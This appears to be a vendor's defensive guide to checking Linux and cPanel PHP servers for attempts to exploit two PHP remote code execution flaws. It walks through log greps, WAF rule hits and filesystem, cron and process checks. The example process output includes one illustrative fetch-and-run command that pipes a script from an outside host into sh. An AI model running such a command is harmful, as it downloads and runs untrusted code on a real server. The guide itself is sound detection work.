You have patched PHP, or you are about to, and now you want to know whether anyone tried the “PHP2Shell” flaws against your server and whether they got in. This article is for anyone with root or WHM access to a Linux or cPanel server running PHP, WordPress included. The flaws are CVE-2026-109618 and CVE-2026-109619, fixed in PHP 8.2.35, 8.3.36, 8.4.27 and 8.5.12 on 21 October 2026, and both let an unauthenticated visitor run code as the web server user (php.net). Amazon’s threat intelligence team saw an exploit attempt in its honeypots on 17 October, four days before the fix, so the review window starts there (The Register). The plain answer up front: logs can show attempts and crashes, but a clean log does not prove the server is safe. Patching and restarting every PHP worker stays the priority; this review comes right after.
If you have not patched yet, start with how to update PHP on a Linux server after a security fix; if you need a day first, the PHP2Shell mitigations reduce exposure meanwhile.
What you’ll accomplish
- Confirm your logs cover 17 October 2026 to today, including rotated files.
- Count PHP worker crashes, memory-exhausted errors and timeouts per day, so a burst stands out.
- Check the disk, cron, processes and WordPress users for signs that a payload landed.
- Leave a dated record of what you checked and what you found.
Prerequisites
- Root or sudo access over SSH, or root on a cPanel server. Without shell access, ask your host to run these checks.
- The PHP versions and SAPIs your sites use, a SAPI being the way PHP plugs into the web server, such as PHP-FPM or mod_php. If unsure, see how to check which PHP version your site really runs.
- WP-CLI if you run WordPress, to compare files against the official checksums.
- About an hour.
Paths below are for Debian and Ubuntu with PHP 8.3 unless marked. On the Red Hat family, PHP-FPM logs to /var/log/php-fpm/error.log and Apache to /var/log/httpd/error_log. On cPanel with EasyApache, each PHP version logs to /opt/cpanel/ea-php83/root/usr/var/log/php-fpm/error.log (change 83 to match) and Apache to /etc/apache2/logs/error_log.
How it works
Both flaws trigger while PHP is still parsing the request, before your application runs. The advisory for CVE-2026-109619 says an attacker needs a “producer” request, which leaves corrupted state in a PHP worker, and a “consumer” request handled later by the same worker (GHSA-6wmf-4rv5-p3rp). The advisory for CVE-2026-109618 notes that “FPM exits the child when request startup fails” and that reliability depends on the build, extensions, front end and memory layout (GHSA-w8hw-w9fx-j79w). Rapid7 adds that each public proof-of-concept works only against a specific combination of operating system, PHP version and web server (Rapid7).
A failed attempt usually looks like a crash or an error. A PHP worker dies with a segmentation fault, which is the kernel killing a process that touched memory it should not have. Or PHP reports that it ran out of memory or time while parsing the request. Those are the signals you can count. Wiz Research lists the same signals: unexpectedly large or malformed PHPSESSID cookies, unusual multipart requests followed by memory-limit errors or repeated HTTP 500 responses, and unexplained worker crashes or restarts (Wiz). Wiz, PHP and Rapid7 agree on one point: these signals alone do not prove exploitation, and their absence does not prove you are unaffected.
The diagram shows where each kind of evidence lands. The access log never holds the request body, so the upload-progress field most attacks abuse is invisible there. The web server and the PHP worker each record crashes in their own log. Only the last layer, disk, cron and processes, can show that something actually got in.
As of 25 October 2026 there are no public indicators of compromise for these flaws: no payload strings, no file hashes, no attacker addresses. The checks below look for the effects of an attempt instead.
Step-by-step
-
Fix the review window and make sure your logs cover it. The window is 17 October 2026 to now. Rotation may have removed the early days, so list what you have first.
ls -la /var/log/php8.3-fpm.log* /var/log/apache2/error.log* /var/log/apache2/access.log*Example output:
-rw-r----- 1 root adm 48213 Oct 25 06:25 /var/log/apache2/access.log -rw-r----- 1 root adm 912044 Oct 24 00:00 /var/log/apache2/access.log.1 -rw-r----- 1 root adm 71388 Oct 23 00:00 /var/log/apache2/access.log.2.gz -rw-r----- 1 root adm 68910 Oct 16 00:00 /var/log/apache2/access.log.9.gz -rw-r--r-- 1 root root 20417 Oct 25 02:14 /var/log/php8.3-fpm.logThe oldest file must be dated before 17 October. Every search below uses
zgrep, which reads plain and.gzfiles alike, so keep the*wildcard. If PHP-FPM logs to the journal instead,journalctl -u php8.3-fpm --since 2026-10-17must start on or before 17 October. -
Count PHP worker crashes per day. PHP-FPM logs a line each time a child dies on a signal. Count them by date so a burst shows next to your normal rate, usually zero.
sudo zgrep -h "exited on signal 11" /var/log/php8.3-fpm.log* | cut -c2-12 | sort | uniq -cExample output:
1 18-Oct-2026 37 22-Oct-2026 12 23-Oct-2026Each crash is one raw line, followed by the replacement child starting:
[22-Oct-2026 14:38:01] WARNING: [pool www] child 18342 exited on signal 11 (SIGSEGV - core dumped) after 412.330581 seconds from start [22-Oct-2026 14:38:01] NOTICE: [pool www] child 18391 startedApache records the same deaths for mod_php and for FPM behind
mod_proxy_fcgi; the date is the second and third field.sudo zgrep -h "AH00052" /var/log/apache2/error.log* | awk '{print $2, $3}' | sort | uniq -cExample output:
2 Oct 19 41 Oct 22 9 Oct 24Each raw line ends in
AH00052: child pid 18342 exit signal Segmentation fault (11). The kernel keeps its own record, written even when PHP could not:sudo journalctl -k --since 2026-10-17 | grep -i segfaultExample output:
Oct 22 14:38:01 web1 kernel: php-fpm8.3[18342]: segfault at 0 ip 00007f3a1c2b7e40 sp 00007ffd8e6c1a30 error 4 in php-fpm8.3[7f3a1c200000+3a0000]On cPanel, loop over every version:
for f in /opt/cpanel/ea-php*/root/usr/var/log/php-fpm/error.log*; do echo "$f"; sudo zgrep -c "exited on signal 11" "$f"; done. A day with dozens of crashes after days with none is the strongest server-side sign of attempts. A crash means that request failed; it says nothing about whether a later one succeeded. -
Count memory-exhausted and timeout errors, and see which files produced them. The CVE-2026-109619 advisory recommends reviewing logs for “Maximum execution time exceeded” and for fatal, parse and uncaught error messages. With mod_php these land in the Apache error log; with FPM, in the pool’s
error_logor the application’s own log, such as WordPress’swp-content/debug.log.sudo zgrep -h "Allowed memory size" /var/log/apache2/error.log* | awk '{print $2, $3}' | sort | uniq -c sudo zgrep -h "Maximum execution time" /var/log/apache2/error.log* | awk '{print $2, $3}' | sort | uniq -cExample output:
3 Oct 17 26 Oct 22 4 Oct 23Then see which files produced them. One that never ran out of memory before and then did dozens of times in an afternoon stands out.
sudo zgrep -h "Allowed memory size" /var/log/apache2/error.log* | grep -o 'in /[^ ]*' | sort | uniq -c | sort -rn | headExample output:
19 in /var/www/html/wp-includes/class-wp-hook.php 5 in /var/www/html/index.php 2 in /var/www/html/wp-admin/includes/image.phpA raw line reads
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 65536 bytes) in /var/www/html/wp-includes/class-wp-hook.php on line 324. Image processing is a normal source of memory errors; the front page of the site is not. -
Look for bursts of POST requests ending in 5xx from a single address. The access log cannot show the attack itself. The default combined format logs neither the request body, so the upload-progress field is never visible, nor response headers, so a large
Set-Cookie: PHPSESSIDonly appears if you added%{Set-Cookie}oto yourLogFormatlong ago. What it does show is the pattern around failed attempts: POST requests to PHP URLs answered with 500, 502 or 503, many from one address in a short time.sudo zgrep -h '"POST ' /var/log/apache2/access.log* | awk '$9 ~ /^50[023]$/ {print $1}' | sort | uniq -c | sort -rn | headExample output:
312 203.0.113.47 58 198.51.100.9 4 192.0.2.201Pull the top address:
sudo zgrep -h '^203.0.113.47 ' /var/log/apache2/access.log* | head -5Example output:
203.0.113.47 - - [22/Oct/2026:14:37:52 +0000] "POST /index.php HTTP/1.1" 500 1218 "-" "Mozilla/5.0" 203.0.113.47 - - [22/Oct/2026:14:37:53 +0000] "POST /wp-login.php HTTP/1.1" 500 1218 "-" "Mozilla/5.0" 203.0.113.47 - - [22/Oct/2026:14:37:53 +0000] "POST /xmlrpc.php HTTP/1.1" 503 299 "-" "Mozilla/5.0" 203.0.113.47 - - [22/Oct/2026:14:37:54 +0000] "POST /wp-cron.php HTTP/1.1" 500 1218 "-" "Mozilla/5.0" 203.0.113.47 - - [22/Oct/2026:14:37:55 +0000] "POST /index.php HTTP/1.1" 200 41277 "-" "Mozilla/5.0"Nginx uses the same field positions in its default log. On cPanel, each domain has its own file under
/etc/apache2/logs/domlogs/, with a-ssl_logsuffix for HTTPS. Match these bursts against the crash counts from step 2: POST plus 500 at 14:37 and segfaults at 14:38 on the same day is what attempts look like. -
Pull what the edge and the web application firewall blocked. A web application firewall (WAF) inspects requests before they reach PHP and sees the request body your logs cannot. If the site is proxied through Cloudflare, open the zone, go to Security Events, and filter by the rule name “PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619)”. Cloudflare ships a base rule and variants #2 to #7 under that name in both the free and the paid managed ruleset, blocking since 21 October 03:02 UTC. Rule #6 also covers the third flaw, CVE-2026-115560, except on sites that changed
session.upload_progress.name(Cloudflare). Attempts from 17 to 21 October predate those rules, so an empty list for those days proves nothing.With Imunify360 on cPanel or CloudLinux, open its Incidents list for the window. Ruleset 8.86 started logging responses whose session cookie contains a NUL byte; 8.88 added rule 77049357, which blocks a serialized PHP object in the upload-progress field (CloudLinux). On LiteSpeed the first ruleset, 8.83, only logged. Check your version:
cat /etc/apache2/conf.d/modsec_vendor_configs/imunify360-full-apache/VERSIONExample output:
8.88Below 8.86, the server had no matching rule for part of the window. With plain ModSecurity, count hits on that rule in the audit log,
/etc/apache2/logs/modsec_audit.logon cPanel:sudo grep -c 'id "77049357"' /etc/apache2/logs/modsec_audit.logExample output:
23A non-zero count confirms attempts reached the server and were refused. Expect some; Cloudflare’s CEO reported attempts in the millions within hours of disclosure (The Register).
-
Check whether anything got in. A successful attempt runs code as the web server user, so look for what that user could leave behind. Start with PHP files created or changed in a web root since 17 October.
-newerctcompares the inode change time, whichtouchcannot fake.sudo find /var/www /home -type f -name '*.php' -newerct 2026-10-17 -printf '%CY-%Cm-%Cd %CH:%CM %u %p\n' | sortExample output:
2026-10-21 09:12 www-data /var/www/html/wp-content/uploads/2026/10/cache-helper.php 2026-10-23 16:40 deploy /var/www/html/wp-content/plugins/akismet/akismet.phpThe second line is a plugin update by your deploy user, expected. The first is a PHP file inside
uploads, written by the web server user, and nothing legitimate does that. Treat any PHP file underuploads,cacheor a theme you did not change as suspect until you have read it. Then the writable temporary directories, where payloads are staged:sudo find /tmp /var/tmp /dev/shm -type f -newerct 2026-10-17 -lsA clean server shows a few session files and nothing executable. Next, cron, how an attacker survives a restart. User crontabs live in
/var/spool/cron/crontabs/on Debian and Ubuntu and in/var/spool/cron/on Red Hat and cPanel.sudo ls -la /var/spool/cron/crontabs/ /etc/cron.d/ sudo crontab -l -u www-dataExample output:
no crontab for www-dataAny crontab for the web server user, or a file in
/etc/cron.ddated after 17 October that you did not create, needs reading. Then the process list, oldest first:ps -eo user,pid,etimes,cmd --sort=-etimes | awk '$1 == "www-data"'Example output:
www-data 1877 611204 php-fpm: pool www www-data 1878 611204 php-fpm: pool www www-data 24410 9031 sh -c curl -s http://203.0.113.9/x.sh | shThe first two lines are normal workers. The third illustrates an unwanted process, not a known indicator: a shell started by the web user that fetches and runs something from outside. On cPanel, use the account name, or
nobodyif PHP-FPM is off. Finish with connections owned by PHP processes, since a web shell often holds one open:sudo ss -tnp | grep 'users:(("php'On a clean server this is empty or shows only your own database and cache hosts. For WordPress, compare core and plugin files against the official checksums and list administrators with their creation date:
sudo -u www-data wp --path=/var/www/html core verify-checksums sudo -u www-data wp --path=/var/www/html plugin verify-checksums --all sudo -u www-data wp --path=/var/www/html user list --role=administrator --fields=user_login,user_registeredExample output:
Success: WordPress installation verifies against checksums. Success: Verified 9 of 9 plugins. +------------+---------------------+ | user_login | user_registered | +------------+---------------------+ | editor-jo | 2024-03-18 09:41:02 | | admin | 2021-11-02 17:26:48 | +------------+---------------------+A warning that a file “should not exist” or “doesn’t match checksum” names the file to read. An administrator registered after 17 October that nobody on your team created is a finding in itself.
-
If you found something, act in this order. Isolate first: block the site at the firewall or put the web server into maintenance, so the attacker loses access while you work. Preserve second: copy the logs and the suspicious files, with timestamps, off the server before anything changes them. Do not delete the web shell and call it done; the cron entry, the extra administrator and every secret the web user could read, such as
wp-config.php, are the parts that matter. Rebuild on a patched server from a backup taken before 17 October, then rotate those secrets. The ordered path is in rebuilding WordPress from a confirmed compromise.
Validate it works
Two things close the review: the patched version is serving requests, and a dated record of what you checked. Confirm the version and the pool’s restart time:
php-fpm8.3 -v | head -1
systemctl show php8.3-fpm -p ActiveEnterTimestamp
Example output:
PHP 8.3.36 (fpm-fcgi) (built: Oct 21 2026 11:08:47)
ActiveEnterTimestamp=Fri 2026-10-23 07:12:19 UTC
The version must be 8.2.35, 8.3.36, 8.4.27 or 8.5.12 or newer, or your distribution’s backported equivalent, and the restart must postdate the package install. On cPanel, run /opt/cpanel/ea-php83/root/usr/bin/php -v per version. Then write down what you ran and saw:
sudo tee /root/php2shell-review-2026-10-25.txt >/dev/null <<'NOTE'
Window: 2026-10-17 to 2026-10-25. Logs cover from 2026-10-16.
FPM segfaults: 50, all on 22-23 Oct. Apache AH00052: 52. Memory fatals: 33, index.php and class-wp-hook.php.
POST+5xx bursts: 203.0.113.47 (312), 198.51.100.9 (58). Cloudflare rule hits: 1,204 since 21 Oct.
New PHP files since 17 Oct: none outside plugin updates. Cron, processes, WP checksums, admins: clean.
Patched to 8.3.36 on 2026-10-23 07:12 UTC. Reviewed by: jo
NOTE
That note is what an auditor or an insurer will ask for later.
Troubleshooting
- The logs do not go back to 17 October. Check a central log server or backup snapshots for older copies. If none exist, say so in your record and lean on step 6, which does not depend on logs.
- FPM segfaults every day, not only in the window. A steady crash rate that predates 17 October is usually a different bug, often in OPcache’s JIT or a native extension. A burst on top of that baseline is the signal.
- WordPress
debug.logis empty. Logging is off unlessWP_DEBUGandWP_DEBUG_LOGare bothtrueinwp-config.php. The fatals then went to the FPM pool’serror_logor the Apache error log. - cPanel shows nothing in the server-wide logs. With
log_errorson, PHP errors land in the per-domainerror_login each account’s web root, and each EasyApache version keeps its own FPM log. Loop over/opt/cpanel/ea-php*/and/home/*/public_html/error_log. - Cloudflare Security Events shows nothing at all. The DNS record is probably DNS-only (grey cloud) rather than proxied, so Cloudflare never saw the traffic. The rules only protect proxied hostnames.
When this is the wrong approach
If the server still runs an unpatched PHP, stop reading logs and patch; every hour of review on a vulnerable server is an hour of exposure. If your PHP is 7.4, 8.0 or 8.1, no official fix exists and the choices are in options when your PHP version no longer gets security fixes. If you have already found a web shell or an unknown administrator, move to isolation and rebuild. If the server holds data a regulator or an insurer will ask about, preserve the evidence and bring in an incident response professional first.
If this is the kind of work you’d rather never own again, it’s the daily job of Managed Cloud Ops — book an infrastructure review.